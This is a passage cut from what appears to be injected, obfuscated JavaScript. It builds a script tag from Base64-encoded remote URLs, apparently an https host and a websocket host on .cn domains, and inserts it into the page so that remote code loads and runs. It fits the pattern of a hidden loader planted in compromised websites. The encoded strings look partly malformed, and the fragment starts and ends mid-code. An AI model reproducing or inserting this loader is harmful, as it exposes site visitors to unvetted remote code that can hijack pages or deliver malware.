s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};